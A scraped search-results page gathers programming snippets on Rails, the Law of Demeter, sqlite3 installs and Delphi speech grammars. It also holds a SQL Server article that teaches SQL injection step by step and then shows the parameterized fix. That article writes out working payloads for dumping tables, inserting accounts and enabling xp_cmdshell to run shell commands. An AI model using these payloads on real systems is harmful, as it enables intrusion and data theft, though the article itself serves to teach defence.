Search Results

Search found 18 results on 1 pages for 'wreck of u'.

Page 1/1 | 1 

  • train wreck. Rails requires RubyGems >= 1.3.2

    - by JZ
    I recently upgraded ruby to ruby 1.8.7 (2009-06-12 patchlevel 174) [i686-darwin10] and I think I broke rails. When I attempt to load rails. I get an odd message. Please help! $ ruby script/server Rails requires RubyGems = 1.3.2. Please install RubyGems and try again: http://rubygems.rubyforge.org $ rails -v Rails 3.0.0.beta $ gem -v 1.3.6 $ which gem /usr/bin/gem $ whereis gem /usr/bin/gem $ which rails /usr/bin/rails $ whereis rails /usr/bin/rails $ /usr/bin/gem -v 1.3.6 $ /usr/bin/rails -v Rails 3.0.0.beta $ ruby script/console Rails requires RubyGems >= 1.3.2. Please install RubyGems and try again: http://rubygems.rubyforge.org $ gem list rails *** LOCAL GEMS *** rails (3.0.0.beta, 2.3.5, 2.2.2, 1.2.6) $ gem list *** LOCAL GEMS *** abstract (1.0.0) actionmailer (3.0.0.beta, 2.3.5, 2.2.2, 1.3.6) actionpack (3.0.0.beta, 2.3.5, 2.2.2, 1.13.6) actionwebservice (1.2.6) activemerchant (1.4.1) activemodel (3.0.0.beta) activerecord (3.0.0.beta, 2.3.5, 2.2.2, 1.15.6) activerecord-tableless (0.1.0) activeresource (3.0.0.beta, 2.3.5, 2.2.2) activesupport (3.0.0.beta, 2.3.5, 2.2.2, 1.4.4) acts_as_ferret (0.4.3) arel (0.2.pre) authlogic (2.1.3) builder (2.1.2) bundler (0.9.3) calendar_date_select (1.15) capistrano (2.5.2) cgi_multipart_eof_fix (2.5.0) chronic (0.2.3) columnize (0.3.1) compass (0.8.17) daemons (1.0.10) dnssd (0.6.0) erubis (2.6.5) fastercsv (1.5.0) fastthread (1.0.1) fcgi (0.8.7) ferret (0.11.6) flay (1.4.0) flog (2.4.0) gbarcode (0.98.16) gem_plugin (0.2.3) git (1.2.5) haml (2.2.15) haml-edge (2.3.100) highline (1.5.0) hoe (2.4.0) hpricot (0.6.164) i18n (0.3.3) javan-whenever (0.3.7) jeweler (1.4.0) jscruggs-metric_fu (1.1.5) json_pure (1.2.0) libxml-ruby (1.1.2) linecache (0.43) mail (2.1.2) mechanize (0.9.3) memcache-client (1.7.8) mime-types (1.16) mislav-will_paginate (2.3.11) mocha (0.9.7) mojombo-chronic (0.3.0) mongrel (1.1.5) needle (1.3.0) net-scp (1.0.1) net-sftp (2.0.1, 1.1.1) net-ssh (2.0.4, 1.1.4) net-ssh-gateway (1.0.0) nifty-generators (0.3.0) nokogiri (1.4.0) openrain-action_mailer_tls (1.1.3) passenger (2.2.5) polyglot (0.2.9) prawn (0.6.3) prawn-core (0.6.3) prawn-format (0.2.3) prawn-layout (0.3.2) prawn-security (0.1.1) rack (1.1.0, 1.0.1) rack-mount (0.4.5) rack-test (0.5.3) rails (3.0.0.beta, 2.3.5, 2.2.2, 1.2.6) railties (3.0.0.beta) rake (0.8.7, 0.8.3) rake-compiler (0.6.0) RedCloth (4.1.1) reek (1.2.6) relevance-rcov (0.9.2.1) rmagick (2.12.2) roodi (2.1.0) rsl-stringex (1.0.3) rspec (1.2.9) rspec-rails (1.2.9) ruby-debug (0.10.3) ruby-debug-base (0.10.3) ruby-openid (2.1.2) ruby-yadis (0.3.4) ruby2ruby (1.2.4) ruby_parser (2.0.4) rubyforge (2.0.3) rubygems-update (1.3.6, 1.3.5) rubynode (0.1.5) searchlogic (2.3.9) sexp_processor (3.0.3) spree (0.9.4) sqlite3-ruby (1.2.5, 1.2.4) termios (0.9.4) test-unit (2.0.5) text-format (1.0.0) text-hyphen (1.0.0) thor (0.13.0) tlsmail (0.0.1) topfunky-gruff (0.3.5) treetop (1.4.3) tzinfo (0.3.16) xmpp4r (0.4)

    Read the article

  • Is code like this a "train wreck" (in violation of Law of Demeter)?

    - by Michael Kjörling
    Browsing through some code I've written, I came across the following construct which got me thinking. At a first glance, it seems clean enough. Yes, in the actual code the getLocation() method has a slightly more specific name which better describes exactly which location it gets. service.setLocation(this.configuration.getLocation().toString()); In this case, service is an instance variable of a known type, declared within the method. this.configuration comes from being passed in to the class constructor, and is an instance of a class implementing a specific interface (which mandates a public getLocation() method). Hence, the return type of the expression this.configuration.getLocation() is known; specifically in this case, it is a java.net.URL, whereas service.setLocation() wants a String. Since the two types String and URL are not directly compatible, some sort of conversion is required to fit the square peg in the round hole. However, according to the Law of Demeter as cited in Clean Code, a method f in class C should only call methods on C, objects created by or passed as arguments to f, and objects held in instance variables of C. Anything beyond that (the final toString() in my particular case above, unless you consider a temporary object created as a result of the method invocation itself, in which case the whole Law seems to be moot) is disallowed. Is there a valid reasoning why a call like the above, given the constraints listed, should be discouraged or even disallowed? Or am I just being overly nitpicky? If I were to implement a method URLToString() which simply calls toString() on a URL object (such as that returned by getLocation()) passed to it as a parameter, and returns the result, I could wrap the getLocation() call in it to achieve exactly the same result; effectively, I would just move the conversion one step outward. Would that somehow make it acceptable? (It seems to me, intuitively, that it should not make any difference either way, since all that does is move things around a little. However, going by the letter of the Law of Demeter as cited, it would be acceptable, since I would then be operating directly on a parameter to a function.) Would it make any difference if this was about something slightly more exotic than calling toString() on a standard type? When answering, do keep in mind that altering the behavior or API of the type that the service variable is of is not practical. Also, for the sake of argument, let's say that altering the return type of getLocation() is also impractical.

    Read the article

  • Ask the Readers: How Do You Set Up a Novice-Proof Computer?

    - by Jason Fitzpatrick
    You’re into technology, you like tweaking and tinkering with computers, and, most importantly, you know how to keep your computer from turning into a virus-laden and fiery wreck. What about the rest of your family and friends? How do you set up a novice-proof computer to keep them secure, updated, and happy? It’s no small task protecting a computer from an inexperienced user, but for the benefit of both the novice and the innocent computer it’s an important undertaking. This week we want to hear all about your tips, tricks, and techniques for configuring the computers of your friends and relatives to save them from themselves (and keep their computer running smoothly in the process). Sound off in the comments with your tricks and check back in on Friday for the What You Said roundup to add see how your fellow readers get the job done. How Hackers Can Disguise Malicious Programs With Fake File Extensions Can Dust Actually Damage My Computer? What To Do If You Get a Virus on Your Computer

    Read the article

  • No idea of how to simulate car crashes

    - by user2332868
    I have a simple car game with all the basic collision detection and movement in Unity with C#. But when I was building the "engine" for the game I didn't include a detail I later decided to include. I want the possibility so that cars can get damaged and so that the model can change. For example the car looked like it was new and after a crash it looks like a wreck. Please help me by pointing to some resources or by telling me approximate ways of implementing this new feature. Thanks!

    Read the article

  • I'm Not Bi-Polar, I'm Bi-Winning

    - by David Dorf
    On March 1st, Charlie Sheen joined Twitter and was able to amass 1M followers in 25 hours and 17 minutes, setting an official world record.  So why does it take your brand so long to collect followers?  Easy: you're brand isn't a train wreck.Wouldn't it be great if your customers we chatting about your products as much as they're talking about Charlie #winning?  There are a couple things retailers can do.  First, you can offer check-ins to your customers, which can occasionally get a "ooh, what are you buying there?" in the social network. Another methods is to allow customer to "like" particular products on your Web site.  Companies like Wet Seal excel at that.We've been experimenting with automatic posting from the POS, assuming a customer has opted-in.  When you buy something in a store, the POS can automatically post "Dave just bought something at Wet Seal" to Facebook, Twitter, and Foursquare simultaneously.  We stopped short of mentioning the specific product so we don't pull a Beacon.  The idea is the same: get the conversation started.  Give customers a virtual water-cooler where they can discuss products and influence buying decisions.The guys over at ShopSocially have done something very similar.  On the Facebook page for Cafe Press, customers can claim purchases, effectively bragging on their walls.  Each posting goes through the Facebook newsfeed and gets friends interested.  They are seeing over 1,000 purchases being shared daily, and that's generating over 300,000 brand impressions.Sounds like a winning idea.

    Read the article

  • hdd fail, allows format, allows copy

    - by Bogdan
    Hello I have a problem with a Fujitsu laptop. Some kid played with it and now the hdd is a wreck. I can't install Windows XP, Windows 7 or Linux. I checked with hiren's boot for bad sector did a chdisk on it says I don't have any bad sectors, on smart says is active but status error. I tried format and it worked, I tried copying files using a live CD and it worked, but when I try to install the OS it says it can't format, or it can't copy files.

    Read the article

  • How do I start Ubuntu without X server?

    - by Kaare Mikkelsen
    So, I'm trying to install the official nVidia drivers for my fancy graphics card, and they advice disabling the X server before installing, as well as making sure that I can boot without the X server, so as not to wreck anything. However, I seem to be doing something wrong. As I understand it, this should be as simple as changing the runlevel from 2 to 1? (I am aware that all this may simply be me not understanding runlevels) If that is correct, a quick test should be simply typing "sudo init 1" or "sudo telinit 1" in a terminal? Doing that makes the system attempt to shutdown, only it stops at the purple screen with the ubuntu logo and 5 white dots underneath. I haven't observed it get anywhere from there, I always end up holding down the power button. "sudo telinit 3" has not visible effect. Alternatively, I should be able to get there using the recovery mode, activated through the grub menu? I have very little success with that. After picking recovery mode, I am faced with a set of options about how to proceed. Both choosing the one with "network enabled" and "text only", I get a dialog explaining that this will mount my / file system in read/write mode, and whether this is what I want. I choose yes, and it seems to report that my drive is fine (there's a single line of text detailing the state of the partition). And then it stops. I haven't tried letting it sit for more than a few minutes, but presumably this process should be comparable in duration to a regular boot? I am not particularly fond of messing with any .conf-files until I am certain that I can handle things with training wheels on. So, I guess there are two questions: the one in the title, and "how do I start a text-only session without changing defaults?" Thanks in advance :)

    Read the article

  • Font display issue (Mac OS X)?

    - by avenas8808
    I used a font manager on Mac OS X, for additional fonts in my graphic design projects without installing them to the fonts folder (I think that's how it works) - using Font Book and Font Explorer X Version 1.2.3 on OS X 10.6. Most fonts work fine, but Interstate has a problem: Interstate Regular is installed, but for some reason it's probably not seeing it; it's seeing all the Bold and Condensed versions fine. In the above image, it displays the second font as Interstate Regular, but it isn't that font... why? Also, how do I reset the system fonts folder back to the default-installed fonts (I think it's in the library folder) if worst comes to worst, and is using a font manager on Mac or Windows a good idea? I don't want to wreck my system, fairly new to using Mac, especially OS X, so any help would be gratefully accepted.

    Read the article

  • Why is the modal dialog in MFC actually internally modeless?

    - by pythiyam
    This question arose in my miind after reading this article: http://www.codeproject.com/Articles/3911/The-singular-non-modality-of-MFC-modal-dialogs. He mentions that the modal dialog in MFC is not strictly modal, but implemented as a modeless dialog(internally) with bells and whistles to make it behave as a modal one. Specifically, he says: The MFC command routing mechanism uses a combination of message maps and virtual functions to achieve what it does and a true modal dialog will totally wreck this mechanism because then the modal message loop is controlled outside the scope of the MFC command routing machinery Could anyone elucidate this statement? An example of what would have gone wrong if they had tried to implement a truly modal dialog would greatly clear things up.

    Read the article

  • Why would Windows Task Scheduler spawn multiple instances of the same task that run into each other?

    - by swagner88
    Overview: I use Windows Task Scheduler to run automated tasks. Occasionally I will see that randomly a task has failed to perform its duties. When I check Task Scheduler to see what has occurred in the history log, I see that for some reason, when the tasks are triggered at their schedules, they are spawning several instances of themselves simultaneously which turns into a train wreck for the task and it either kills the other instances and tries to run the "first" one, or it just does not run at all as it believes another instance of itself is already running. Sometimes this occurs in the same tasks and then occasionally it happens with others. The fix is just to end all instances and start the task manually. Question: Why would one single task with one single schedule decide to spawn multiple instance of itself simultaneously? Note: I've got a separate user account set to run the tasks instead of myself. That user is indeed an admin on the machine that runs the tasks and the tasks are set to tun whether or not the user is logged on. Also, the machine is windows server 08 R2.

    Read the article

  • Would an immutable keyword in Java be a good idea?

    - by berry120
    Generally speaking, the more I use immutable objects in Java the more I'm thinking they're a great idea. They've got lots of advantages from automatically being thread-safe to not needing to worry about cloning or copy constructors. This has got me thinking, would an "immutable" keyword go amiss? Obviously there's the disadvantages with adding another reserved word to the language, and I doubt it will actually happen primarily for the above reason - but ignoring that I can't really see many disadvantages. At present great care has to be taken to make sure objects are immutable, and even then a dodgy javadoc comment claiming a component object is immutable when it's in fact not can wreck the whole thing. There's also the argument that even basic objects like string aren't truly immutable because they're easily vunerable to reflection attacks. If we had an immutable keyword the compiler could surely recursively check and give an iron clad guarantee that all instances of a class were immutable, something that can't presently be done. Especially with concurrency becoming more and more used, I personally think it'd be good to add a keyword to this effect. But are there any disadvantages or implementation details I'm missing that makes this a bad idea?

    Read the article

  • Joining on NULLs

    - by Dave Ballantyne
    A problem I see on a fairly regular basis is that of dealing with NULL values.  Specifically here, where we are joining two tables on two columns, one of which is ‘optional’ ie is nullable.  So something like this: i.e. Lookup where all the columns are equal, even when NULL.   NULL’s are a tricky thing to initially wrap your mind around.  Statements like “NULL is not equal to NULL and neither is it not not equal to NULL, it’s NULL” can cause a serious brain freeze and leave you a gibbering wreck and needing your mummy. Before we plod on, time to setup some data to demo against. Create table #SourceTable ( Id integer not null, SubId integer null, AnotherCol char(255) not null ) go create unique clustered index idxSourceTable on #SourceTable(id,subID) go with cteNums as ( select top(1000) number from master..spt_values where type ='P' ) insert into #SourceTable select Num1.number,nullif(Num2.number,0),'SomeJunk' from cteNums num1 cross join cteNums num2 go Create table #LookupTable ( Id integer not null, SubID integer null ) go insert into #LookupTable Select top(100) id,subid from #SourceTable where subid is not null order by newid() go insert into #LookupTable Select top(3) id,subid from #SourceTable where subid is null order by newid() If that has run correctly, you will have 1 million rows in #SourceTable and 103 rows in #LookupTable.  We now want to join one to the other. First attempt – Lets just join select * from #SourceTable join #LookupTable on #LookupTable.id = #SourceTable.id and #LookupTable.SubID = #SourceTable.SubID OK, that’s a fail.  We had 100 rows back,  we didn’t correctly account for the 3 rows that have null values.  Remember NULL <> NULL and the join clause specifies SUBID=SUBID, which for those rows is not true. Second attempt – Lets deal with those pesky NULLS select * from #SourceTable join #LookupTable on #LookupTable.id = #SourceTable.id and isnull(#LookupTable.SubID,0) = isnull(#SourceTable.SubID,0) OK, that’s the right result, well done and 99.9% of the time that is where its left. It is a relatively trivial CPU overhead to wrap ISNULL around both columns and compare that result, so no problems.  But, although that’s true, this a relational database we are using here, not a procedural language.  SQL is a declarative language, we are making a request to the engine to get the results we want.  How we ask for them can make a ton of difference. Lets look at the plan for our second attempt, specifically the clustered index seek on the #SourceTable   There are 2 predicates. The ‘seek predicate’ and ‘predicate’.  The ‘seek predicate’ describes how SQLServer has been able to use an Index.  Here, it has been able to navigate the index to resolve where ID=ID.  So far so good, but what about the ‘predicate’ (aka residual probe) ? This is a row-by-row operation.  For each row found in the index matching the Seek Predicate, the leaf level nodes have been scanned and tested using this logical condition.  In this example [Expr1007] is the result of the IsNull operation on #LookupTable and that is tested for equality with the IsNull operation on #SourceTable.  This residual probe is quite a high overhead, if we can express our statement slightly differently to take full advantage of the index and make the test part of the ‘Seek Predicate’. Third attempt – X is null and Y is null So, lets state the query in a slightly manner: select * from #SourceTable join #LookupTable on #LookupTable.id = #SourceTable.id and ( #LookupTable.SubID = #SourceTable.SubID or (#LookupTable.SubID is null and #SourceTable.SubId is null) ) So its slightly wordier and may not be as clear in its intent to the human reader, that is what comments are for, but the key point is that it is now clearer to the query optimizer what our intention is. Let look at the plan for that query, again specifically the index seek operation on #SourceTable No ‘predicate’, just a ‘Seek Predicate’ against the index to resolve both ID and SubID.  A subtle difference that can be easily overlooked.  But has it made a difference to the performance ? Well, yes , a perhaps surprisingly high one. Clever query optimizer well done. If you are using a scalar function on a column, you a pretty much guaranteeing that a residual probe will be used.  By re-wording the query you may well be able to avoid this and use the index completely to resolve lookups. In-terms of performance and scalability your system will be in a much better position if you can.

    Read the article

  • Snow Leopard sqlite3-ruby install problem

    - by JZ
    UPDATE 3/20/10 I'm running Mac OSX Snow Leopard, this problem is caused by a recent train wreck in which I updated ruby without RVM. I've attempted to properly install/run RVM, however I can't get it to work. I am unable to install the sqlite3-ruby gem. I get the following ERROR: Error installing sqlite3-ruby: ERROR: Failed to build gem native extension. How do I fix this? justin-zollarss-mac-pro:~ justinz$ rails -v Rails 2.3.5 justin-zollarss-mac-pro:~ justinz$ ruby -v ruby 1.8.7 (2008-08-11 patchlevel 72) [i686-darwin10.2.0] justin-zollarss-mac-pro:~ justinz$ gem -v 1.3.5 justin-zollarss-mac-pro:~ justinz$ which gem /usr/local/bin/gem justin-zollarss-mac-pro:~ justinz$ whereis gem /usr/bin/gem justin-zollarss-mac-pro:~ justinz$ which ruby /usr/local/bin/ruby justin-zollarss-mac-pro:~ justinz$ whereis ruby /usr/bin/ruby justin-zollarss-mac-pro:~ justinz$ which rails /usr/local/bin/rails justin-zollarss-mac-pro:~ justinz$ whereis rails /usr/bin/rails justin-zollarss-mac-pro:~ justinz$ gem list *** LOCAL GEMS *** actionmailer (2.3.5) actionpack (2.3.5) activerecord (2.3.5) activeresource (2.3.5) activesupport (2.3.5) builder (2.1.2) bundler (0.9.11) columnize (0.3.1) erubis (2.6.5) fastercsv (1.5.1) ffi (0.6.3) gbarcode (0.98.16) i18n (0.3.5) linecache (0.43) mail (2.1.3) memcache-client (1.8.0) prawn (0.8.4) prawn-core (0.8.4) prawn-layout (0.8.4) prawn-security (0.8.4) rack (1.1.0, 1.0.1) rack-mount (0.6.1) rack-test (0.5.3) rails (2.3.5) rake (0.8.7) ruby-debug (0.10.3) ruby-debug-base (0.10.3) rubygems-update (1.3.6) sqlite3 (0.0.8) text-format (1.0.0) thor (0.13.4) tzinfo (0.3.17) justin-zollarss-mac-pro:~ justinz$ sudo gem install sqlite3-ruby Password: Building native extensions. This could take a while... ERROR: Error installing sqlite3-ruby: ERROR: Failed to build gem native extension. /usr/local/bin/ruby extconf.rb checking for fdatasync() in -lrt... no checking for sqlite3.h... yes checking for sqlite3_open() in -lsqlite3... no *** extconf.rb failed *** Could not create Makefile due to some reason, probably lack of necessary libraries and/or headers. Check the mkmf.log file for more details. You may need configuration options. Provided configuration options: --with-opt-dir --without-opt-dir --with-opt-include --without-opt-include=${opt-dir}/include --with-opt-lib --without-opt-lib=${opt-dir}/lib --with-make-prog --without-make-prog --srcdir=. --curdir --ruby=/usr/local/bin/ruby --with-sqlite3-dir --without-sqlite3-dir --with-sqlite3-include --without-sqlite3-include=${sqlite3-dir}/include --with-sqlite3-lib --without-sqlite3-lib=${sqlite3-dir}/lib --with-rtlib --without-rtlib --with-sqlite3lib --without-sqlite3lib Gem files will remain installed in /usr/local/lib/ruby/gems/1.8/gems/sqlite3-ruby-1.2.5 for inspection. Results logged to /usr/local/lib/ruby/gems/1.8/gems/sqlite3-ruby-1.2.5/ext/sqlite3_api/gem_make.out

    Read the article

  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

    Read the article

  • Delphi Speech recognition delphi

    - by XBasic3000
    I need create a programatic equivalent using delphi language... or could someone post a link on how to do grammars in peech recogniton using the delphi. sorry for my english... XML Grammar Sample(s): <GRAMMAR> <!-- Create a simple "hello world" rule --> <RULE NAME="HelloWorld" TOPLEVEL="ACTIVE"> <P>hello world</P> </RULE> <!-- Create a more advanced "hello world" rule that changes the display form. When the user says "hello world" the display text will be "Hiya there!" --> <RULE NAME="HelloWorld_Disp" TOPLEVEL="ACTIVE"> <P DISP="Hiya there!">hello world</P> </RULE> <!-- Create a rule that changes the pronunciation and the display form of the phrase. When the user says "eh" the display text will be "I don't understand?". Note the user didn't say "huh". The pronunciation for "what" is specific to this phrase tag and is not changed for the user or application lexicon, or even other instances of "what" in the grammar --> <RULE NAME="Question_Pron" TOPLEVEL="ACTIVE"> <P DISP="I don't understand" PRON="eh">what</P> </RULE> <!-- Create a rule demonstrating repetition --> <!-- the rule will only be recognized if the user says "hey diddle diddle" --> <RULE NAME="NurseryRhyme" TOPLEVEL="ACTIVE"> <P>hey</P> <P MIN="2" MAX="2">diddle</P> </RULE> <!-- Create a list with variable phrase weights --> <!-- If the user says similar phrases, the recognizer will use the weights to pick a match --> <RULE NAME="UseWeights" TOPLEVEL="ACTIVE"> <LIST> <!-- Note the higher likelihood that the user is expected to say "recognizer speech" --> <P WEIGHT=".95">recognize speech</P> <P WEIGHT=".05">wreck a nice beach</P> </LIST> </RULE> <!-- Create a phrase with an attached semantic property --> <!-- Speaking "one two three" will return three different unique semantic properties, with different names, and different values --> <RULE NAME="UseProps" TOPLEVEL="ACTIVE"> <!-- named property, without value --> <P PROPNAME="NOVALUE">one</P> <!-- named property, with numeric value --> <P PROPNAME="NUMBER" VAL="2">two</P> <!-- named property, with string value --> <P PROPNAME="STRING" VALSTR="three">three</P> </RULE> </GRAMMAR> **Programmatic Equivalent:** To add a phrase to a rule, SAPI provides an API called ISpGrammarBuilder::AddWordTransition. The application developer can add the sentences as follows: SPSTATEHANDLE hsHelloWorld; // Create new top-level rule called "HelloWorld" hr = cpRecoGrammar->GetRule(L"HelloWorld", NULL, SPRAF_TopLevel | SPRAF_Active, TRUE, &hsHelloWorld); // Check hr // Add the command words "hello world" // Note that the lexical delimiter is " ", a space character. // By using a space 